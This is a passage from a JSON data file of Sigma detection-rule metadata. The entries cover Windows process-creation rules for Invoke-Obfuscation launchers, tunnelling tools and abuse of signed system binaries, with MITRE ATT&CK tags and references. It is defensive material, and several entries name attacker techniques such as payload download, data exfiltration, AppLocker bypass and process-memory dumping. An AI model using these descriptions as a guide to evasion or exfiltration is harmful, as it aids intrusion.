generated by Invoke-Obfuscation framework from the following code block", - "uuid": "4bf943c6-5146-4273-98dd-e958fd1e3abf", - "value": "Invoke-Obfuscation Obfuscated IEX Invocation", - "meta": { - "refs": [ - "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_obfuscated_iex_commandline.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2019/11/08", - "filename": "proc_creation_win_invoke_obfuscation_obfuscated_iex_commandline.yml", - "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated use of stdin to execute PowerShell", - "uuid": "6c96fc76-0eb1-11eb-adc1-0242ac120002", - "value": "Invoke-Obfuscation STDIN+ Launcher", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_stdin.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/15", - "filename": "proc_creation_win_invoke_obfuscation_stdin.yml", - "author": "Jonathan Cheong, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", - "uuid": "27aec9c9-dbb0-4939-8422-1742242471d0", - "value": "Invoke-Obfuscation VAR+ Launcher", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_var.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/15", - "filename": "proc_creation_win_invoke_obfuscation_var.yml", - "author": "Jonathan Cheong, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", - "uuid": "7eedcc9d-9fdb-4d94-9c54-474e8affc0c7", - "value": "Invoke-Obfuscation COMPRESS OBFUSCATION", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_compress.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/18", - "filename": "proc_creation_win_invoke_obfuscation_via_compress.yml", - "author": "Timur Zinniatullin, oscd.community", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", - "uuid": "056a7ee1-4853-4e67-86a0-3fd9ceed7555", - "value": "Invoke-Obfuscation RUNDLL LAUNCHER", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_rundll.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/18", - "filename": "proc_creation_win_invoke_obfuscation_via_rundll.yml", - "author": "Timur Zinniatullin, oscd.community", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via Stdin in Scripts", - "uuid": "9c14c9fa-1a63-4a64-8e57-d19280559490", - "value": "Invoke-Obfuscation Via Stdin", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_stdin.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/12", - "filename": "proc_creation_win_invoke_obfuscation_via_stdin.yml", - "author": "Nikita Nazarov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", - "uuid": "e1561947-b4e3-4a74-9bdd-83baed21bdb5", - "value": "Invoke-Obfuscation Via Use Clip", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_use_clip.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/09", - "filename": "proc_creation_win_invoke_obfuscation_via_use_clip.yml", - "author": "Nikita Nazarov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", - "uuid": "ac20ae82-8758-4f38-958e-b44a3140ca88", - "value": "Invoke-Obfuscation Via Use MSHTA", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_use_mhsta.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/08", - "filename": "proc_creation_win_invoke_obfuscation_via_use_mhsta.yml", - "author": "Nikita Nazarov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", - "uuid": "36c5146c-d127-4f85-8e21-01bf62355d5a", - "value": "Invoke-Obfuscation Via Use Rundll32", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_use_rundll32.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2019/10/08", - "filename": "proc_creation_win_invoke_obfuscation_via_use_rundll32.yml", - "author": "Nikita Nazarov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", - "uuid": "e9f55347-2928-4c06-88e5-1a7f8169942e", - "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION", - "meta": { - "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_var.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/13", - "filename": "proc_creation_win_invoke_obfuscation_via_var.yml", - "author": "Timur Zinniatullin, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of IOX - a tool for port forwarding and intranet proxy purposes", - "uuid": "d7654f02-e04b-4934-9838-65c46f187ebc", - "value": "IOX Tunneling Tool", - "meta": { - "refs": [ - "https://github.com/EddieIvan01/iox", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iox.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1090" - ], - "creation_date": "2022/10/08", - "filename": "proc_creation_win_iox.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate use" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detect the use of Jlaive to execute assemblies in a copied PowerShell", - "uuid": "0a99eb3e-1617-41bd-b095-13dc767f3def", - "value": "Jlaive Usage For Assembly Execution In-Memory", - "meta": { - "refs": [ - "https://jstnk9.github.io/jstnk9/research/Jlaive-Antivirus-Evasion-Tool", - "https://github.com/ch2sh/Jlaive", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_jlaive_batch_execution.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.003" - ], - "creation_date": "2022/05/24", - "filename": "proc_creation_win_jlaive_batch_execution.yml", - "author": "Jose Luis Sanchez Martinez (@Joseliyo_Jstnk)", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of Ldifde.exe with specific command line arguments to potentially load an LDIF file containing HTTP-based arguments.\nLdifde.exe is present, by default, on domain controllers and only requires user-level authentication to execute.\n", - "uuid": "6f535e01-ca1f-40be-ab8d-45b19c0c8b7f", - "value": "Suspicious Ldifde Command Usage", - "meta": { - "refs": [ - "https://twitter.com/0gtweet/status/1564968845726580736", - "https://strontic.github.io/xcyclopedia/library/ldifde.exe-979DE101F5059CEC1D2C56967CA2BAC0.html", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731033(v=ws.11)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ldifde_file_load.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105", - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2022/09/02", - "filename": "proc_creation_win_ldifde_file_load.yml", - "author": "@gott_cyber", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects MSHTA.EXE spwaned by SVCHOST as seen in LethalHTA and described in report", - "uuid": "ed5d72a6-f8f4-479d-ba79-02f6a80d7471", - "value": "MSHTA Spwaned by SVCHOST", - "meta": { - "refs": [ - "https://codewhitesec.blogspot.com/2018/07/lethalhta.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lethalhta.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.005" - ], - "creation_date": "2018/06/07", - "filename": "proc_creation_win_lethalhta.yml", - "author": "Markus Neis", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Local accounts, System Owner/User discovery using operating systems utilities", - "uuid": "502b42de-4306-40b4-9596-6f590c81f073", - "value": "Local Accounts Discovery", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_local_system_owner_account_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1033", - "attack.t1087.001" - ], - "creation_date": "2019/10/21", - "filename": "proc_creation_win_local_system_owner_account_discovery.yml", - "author": "Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community", - "level": "low", - "falsepositive": [ - "Legitimate administrator or user enumerates local users for legitimate reason" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", - "uuid": "d85873ef-a0f8-4c48-a53a-6b621f11729d", - "value": "Use of LogMeIn Remote Access Software", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-3---logmein-files-detected-test-on-windows", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_logmein.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ], - "creation_date": "2022/02/11", - "filename": "proc_creation_win_logmein.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate use" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects creation or execution of UserInitMprLogonScript persistence method", - "uuid": "0a98a10c-685d-4ab0-bddc-b6bdd1d48458", - "value": "Logon Scripts (UserInitMprLogonScript)", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1037/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_logon_scripts_userinitmprlogonscript_proc.yml" - ], - "tags": [ - "attack.t1037.001", - "attack.persistence" - ], - "creation_date": "2019/01/12", - "filename": "proc_creation_win_logon_scripts_userinitmprlogonscript_proc.yml", - "author": "Tom Ueltschi (@c_APT_ure), Tim Shelton", - "level": "high", - "falsepositive": [ - "Exclude legitimate logon scripts" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "This rule will monitor any office apps that spins up a new LOLBin process. This activity is pretty suspicious and should be investigated.", - "uuid": "23daeb52-e6eb-493c-8607-c4f0246cb7d8", - "value": "New Lolbin Process by Office Applications", - "meta": { - "refs": [ - "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", - "https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e", - "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", - "https://github.com/splunk/security_content/blob/develop/detections/endpoint/office_spawning_control.yml", - "https://twitter.com/andythevariable/status/1576953781581144064?s=20&t=QiJILvK4ZiBdR8RJe24u-A", - "https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbins_by_office_applications.yml" - ], - "tags": [ - "attack.t1204.002", - "attack.t1047", - "attack.t1218.010", - "attack.execution", - "attack.defense_evasion" - ], - "creation_date": "2021/08/23", - "filename": "proc_creation_win_lolbins_by_office_applications.yml", - "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule), Michael Haag, Christopher Peacock @securepeacock (Update), SCYTHE @scythe_io (Update)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "This rule will monitor LOLBin process creations by wmiprvse. Add more LOLBins to rule logic if needed.", - "uuid": "8a582fe2-0882-4b89-a82a-da6b2dc32937", - "value": "Lolbins Process Creation with WmiPrvse", - "meta": { - "refs": [ - "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", - "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbins_with_wmiprvse_parent_process.yml" - ], - "tags": [ - "attack.t1204.002", - "attack.t1047", - "attack.t1218.010", - "attack.execution", - "attack.defense_evasion" - ], - "creation_date": "2021/08/23", - "filename": "proc_creation_win_lolbins_with_wmiprvse_parent_process.yml", - "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "The \"AdPlus.exe\" binary that is part of the Windows SDK can be used as a lolbin to dump process memory and execute arbitrary commands", - "uuid": "2f869d59-7f6a-4931-992c-cce556ff2d53", - "value": "Use of Adplus.exe", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Adplus/", - "https://twitter.com/nas_bench/status/1534916659676422152", - "https://twitter.com/nas_bench/status/1534915321856917506", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_adplus.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1003.001" - ], - "creation_date": "2022/06/09", - "filename": "proc_creation_win_lolbin_adplus.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate usage of Adplus" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Execute C# code with the Build Provider and proper folder structure in place.", - "uuid": "a01b8329-5953-4f73-ae2d-aa01e1f35f00", - "value": "Suspicious aspnet_compiler.exe Execution", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Aspnet_Compiler/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_aspnet_compiler.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1127" - ], - "creation_date": "2021/11/24", - "filename": "proc_creation_win_lolbin_aspnet_compiler.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Performs execution of specified file, can be used for defensive evasion.", - "uuid": "5edc2273-c26f-406c-83f3-f4d948e740dd", - "value": "Suspicious Subsystem for Linux Bash Execution", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Bash/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_bash.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202" - ], - "creation_date": "2021/11/24", - "filename": "proc_creation_win_lolbin_bash.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects when a user downloads file by using CertOC.exe", - "uuid": "70ad0861-d1fe-491c-a45f-fa48148a300d", - "value": "Suspicious File Download via CertOC.exe", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Certoc/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_certoc_download.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ], - "creation_date": "2022/05/16", - "filename": "proc_creation_win_lolbin_certoc_download.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of Xwizard tool with specific arguments which utilized to run custom class properties.", - "uuid": "53d4bb30-3f36-4e8a-b078-69d36c4a79ff", - "value": "Custom Class Execution via Xwizard", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Xwizard/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_class_exec_xwizard.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2020/10/07", - "filename": "proc_creation_win_lolbin_class_exec_xwizard.yml", - "author": "Ensar \u015eamil, @sblmsrsn, @oscd_initiative", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Execution via SyncInvoke in CL_Invocation.ps1 module", - "uuid": "a0459f02-ac51-4c09-b511-b8c9203fc429", - "value": "Execution via CL_Invocation.ps1", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/", - "https://twitter.com/bohops/status/948061991012327424", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cl_invocation.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216" - ], - "creation_date": "2020/10/14", - "filename": "proc_creation_win_lolbin_cl_invocation.yml", - "author": "oscd.community, Natalia Shornikova", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of a Microsoft signed script to execute commands and bypassing AppLocker.", - "uuid": "c57872c7-614f-4d7f-a40d-b78c8df2d30d", - "value": "CL_LoadAssembly.ps1 Proxy Execution", - "meta": { - "refs": [ - "https://bohops.com/2018/01/07/executing-commands-and-bypassing-applocker-with-powershell-diagnostic-scripts/", - "https://lolbas-project.github.io/lolbas/Scripts/CL_LoadAssembly/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cl_loadassembly.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216" - ], - "creation_date": "2022/05/21", - "filename": "proc_creation_win_lolbin_cl_loadassembly.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of a Microsoft signed script to execute commands", - "uuid": "1e0e1a81-e79b-44bc-935b-ddb9c8006b3d", - "value": "CL_Mutexverifiers.ps1 Proxy Execution", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cl_mutexverifiers.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216" - ], - "creation_date": "2022/05/21", - "filename": "proc_creation_win_lolbin_cl_mutexverifiers.yml", - "author": "oscd.community, Natalia Shornikova, frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "lolbas Cmdl32 is use to download a payload to evade antivirus", - "uuid": "f37aba28-a9e6-4045-882c-d5004043b337", - "value": "Suspicious Cmdl32 Execution", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Cmdl32/", - "https://twitter.com/SwiftOnSecurity/status/1455897435063074824", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cmdl32.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1218", - "attack.t1202" - ], - "creation_date": "2021/11/03", - "filename": "proc_creation_win_lolbin_cmdl32.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Upload file, credentials or data exfiltration with Binary part of Windows Defender", - "uuid": "1f0f6176-6482-4027-b151-00071af39d7e", - "value": "Suspicious ConfigSecurityPolicy Execution", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/ConfigSecurityPolicy/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_configsecuritypolicy.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1567" - ], - "creation_date": "2021/11/26", - "filename": "proc_creation_win_lolbin_configsecuritypolicy.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries can abuse of C:\\Windows\\System32\\gatherNetworkInfo.vbs script along with cscript.exe to gather information about the target", - "uuid": "575dce0c-8139-4e30-9295-1ee75969f7fe", - "value": "GatherNetworkInfo.vbs Script Usage", - "meta": { - "refs": [ - "https://posts.slayerlabs.com/living-off-the-land/#gathernetworkinfovbs", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_cscript_gathernetworkinfo.yml" - ], - "tags": [ - "attack.discovery", - "attack.execution", - "attack.t1615", - "attack.t1059.005" - ], - "creation_date": "2022/01/03", - "filename": "proc_creation_win_lolbin_cscript_gathernetworkinfo.yml", - "author": "blueteamer8699", - "level": "medium", - "falsepositive": [ - "Administrative activity" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of CustomShellHost binary where the child isn't located in 'C:\\Windows\\explorer.exe'", - "uuid": "84b14121-9d14-416e-800b-f3b829c5a14d", - "value": "Suspicious CustomShellHost Execution", - "meta": { - "refs": [ - "https://github.com/LOLBAS-Project/LOLBAS/pull/180", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_customshellhost.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216" - ], - "creation_date": "2022/08/19", - "filename": "proc_creation_win_lolbin_customshellhost.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects when a user performs data exfiltration by using DataSvcUtil.exe", - "uuid": "e290b10b-1023-4452-a4a9-eb31a9013b3a", - "value": "LOLBAS Data Exfiltration by DataSvcUtil.exe", - "meta": { - "refs": [ - "https://gist.github.com/teixeira0xfffff/837e5bfed0d1b0a29a7cb1e5dbdd9ca6", - "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/wcf-data-service-client-utility-datasvcutil-exe", - "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/generating-the-data-service-client-library-wcf-data-services", - "https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/how-to-add-a-data-service-reference-wcf-data-services", - "https://lolbas-project.github.io/lolbas/Binaries/DataSvcUtil/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1567" - ], - "creation_date": "2021/09/30", - "filename": "proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml", - "author": "Ialle Teixeira @teixeira0xfffff, Austin Songer @austinsonger", - "level": "medium", - "falsepositive": [ - "DataSvcUtil.exe being used may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "DataSvcUtil.exe being executed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of DeviceCredentialDeployment to hide a process from view", - "uuid": "b8b1b304-a60f-4999-9a6e-c547bde03ffd", - "value": "DeviceCredentialDeployment Execution", - "meta": { - "refs": [ - "https://github.com/LOLBAS-Project/LOLBAS/pull/147", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_device_credential_deployment.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2022/08/19", - "filename": "proc_creation_win_lolbin_device_credential_deployment.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Compress target file into a cab file stored in the Alternate Data Stream (ADS) of the target file.", - "uuid": "6b369ced-4b1d-48f1-b427-fdc0de0790bd", - "value": "Suspicious Diantz Alternate Data Stream Execution", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Diantz/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_diantz_ads.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.004" - ], - "creation_date": "2021/11/26", - "filename": "proc_creation_win_lolbin_diantz_ads.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Very Possible" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Download and compress a remote file and store it in a cab file on local machine.", - "uuid": "185d7418-f250-42d0-b72e-0c8b70661e93", - "value": "Suspicious Diantz Download and Compress Into a CAB File", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Diantz/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_diantz_remote_cab.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ], - "creation_date": "2021/11/26", - "filename": "proc_creation_win_lolbin_diantz_remote_cab.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of Xwizard tool from the non-default directory which can be used to sideload a custom xwizards.dll", - "uuid": "193d5ccd-6f59-40c6-b5b0-8e32d5ddd3d1", - "value": "Xwizard DLL Sideloading", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Xwizard/", - "http://www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_dll_sideload_xwizard.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002" - ], - "creation_date": "2021/09/20", - "filename": "proc_creation_win_lolbin_dll_sideload_xwizard.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Windows installed on non-C drive" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects when a user bypasses Defender by renaming a tool to dump64.exe and placing it in a Visual Studio folder", - "uuid": "129966c9-de17-4334-a123-8b58172e664d", - "value": "Suspicious Dump64.exe Execution", - "meta": { - "refs": [ - "https://twitter.com/mrd0x/status/1460597833917251595", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_dump64.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ], - "creation_date": "2021/11/26", - "filename": 